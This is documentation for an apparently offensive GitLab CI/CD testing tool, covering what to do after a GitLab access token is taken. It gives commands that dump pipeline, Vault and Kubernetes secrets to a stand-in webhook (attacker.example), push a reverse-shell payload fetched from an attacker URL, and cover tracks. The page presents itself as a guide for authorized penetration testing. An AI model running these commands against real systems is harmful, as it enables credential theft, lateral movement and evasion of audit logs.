Post-Compromise Enumeration
This guide explains how to use GoGatoZ for post-compromise enumeration after obtaining a GitLab Personal Access Token (PAT).
Note: This guide is intended for authorized security testing only. Always ensure you have proper permission before using these techniques.
Overview
Section titled “Overview”If you obtain a GitLab PAT during a security assessment or penetration test, GoGatoZ can help you:
- Validate the token and identify its permissions
- Enumerate accessible projects and groups
- Identify projects with CI/CD pipelines
- Discover accessible secrets
- Find potential privilege escalation paths
Validating a Token
Section titled “Validating a Token”To validate a token and map its effective capabilities:
export GITLAB_TOKEN=<the_token>gogatoz validate --json
# Add effective role and protected-default-branch evidence for one projectgogatoz validate --target group/project --jsonvalidate is intentionally non-mutating. It uses GET requests and labels each
result as confirmed, inferred, denied, or unknown. Inferred write access
combines the declared PAT scope with observed membership and branch-protection
metadata; it does not test a push or create a disposable resource.
List the token’s accessible projects separately:
gogatoz search --membership --max-pages 0 --jsonEnumerating CI/CD Configurations
Section titled “Enumerating CI/CD Configurations”To perform comprehensive enumeration of CI/CD configurations across all accessible projects:
# List all accessible projectsgogatoz search --max-pages 0 --json | jq -r '.[].path_with_namespace' > all_projects.txt
# Enumerate for vulnerabilitiesgogatoz enumerate -i all_projects.txt -c 16 --json | tee enum_results.jsonExtracting Secrets
Section titled “Extracting Secrets”If you have write access to a project with a self-hosted runner:
gogatoz attack --secrets --target group/project --tags shellThis will:
- Create a new branch in the project
- Push a CI pipeline that dumps environment variables
- Execute the pipeline on the runner
- Retrieve the secrets from the pipeline artifacts
Vault Secret Enumeration
Section titled “Vault Secret Enumeration”If the target project’s CI pipelines authenticate to HashiCorp Vault (common in enterprise environments), enumerate reachable secrets using the CI job’s JWT/OIDC identity:
gogatoz attack --vault-enum --target group/project \ --vault-addr https://vault.internal:8200 --vault-auth-method jwt \ --tags shellThis discovers secret engines and reads key-value pairs accessible to the CI job’s Vault role. Look for database credentials, API keys, and cloud provider secrets.
Kubernetes Secret Sweep
Section titled “Kubernetes Secret Sweep”When runners execute inside Kubernetes or have access to a kubeconfig, sweep secrets from accessible namespaces:
gogatoz attack --k8s-secrets --target group/project \ --k8s-namespaces default,production,staging \ --tags kubernetes --webhook https://attacker.example/k8sThe sweep uses the runner’s service account token to list and read secrets. Common finds include TLS certificates, registry pull secrets, database connection strings, and additional service account tokens for lateral movement.
Privilege Escalation
Section titled “Privilege Escalation”Finding Vulnerable Configurations
Section titled “Finding Vulnerable Configurations”To identify configurations that might allow privilege escalation:
gogatoz enumerate -i all_projects.txt --only-findings --json | \ jq '.[] | select(.findings[] | .severity == "HIGH")'Look for:
- Jobs with
merge_request_eventtriggers on self-hosted runners - Variable injection vulnerabilities
- Unpinned remote includes
Lateral Movement
Section titled “Lateral Movement”Identifying Connected Projects
Section titled “Identifying Connected Projects”Look for:
- Projects that use shared CI templates from repositories you control
- Groups where you have access to some but not all projects
- Projects with exposed CI/CD variables
Accessing Self-Hosted Runners
Section titled “Accessing Self-Hosted Runners”If you identify accessible self-hosted runners, you can attempt to compromise them:
gogatoz attack --commit-ci --target group/project \ --payload ror --script-url https://attacker/p.sh --tags shellCovering Your Tracks
Section titled “Covering Your Tracks”To minimize detection:
- Use the
--cleanupflag to remove attack branches after exploitation - Remove any branches you created:
gogatoz attack --target group/project --cleanup --cleanup-branch gogatoz-attack - Be mindful of audit logs that record your actions
Reporting
Section titled “Reporting”When conducting authorized security assessments:
- Document all findings thoroughly
- Include evidence of access without including actual secrets
- Provide clear remediation recommendations
- Follow the organization’s reporting procedures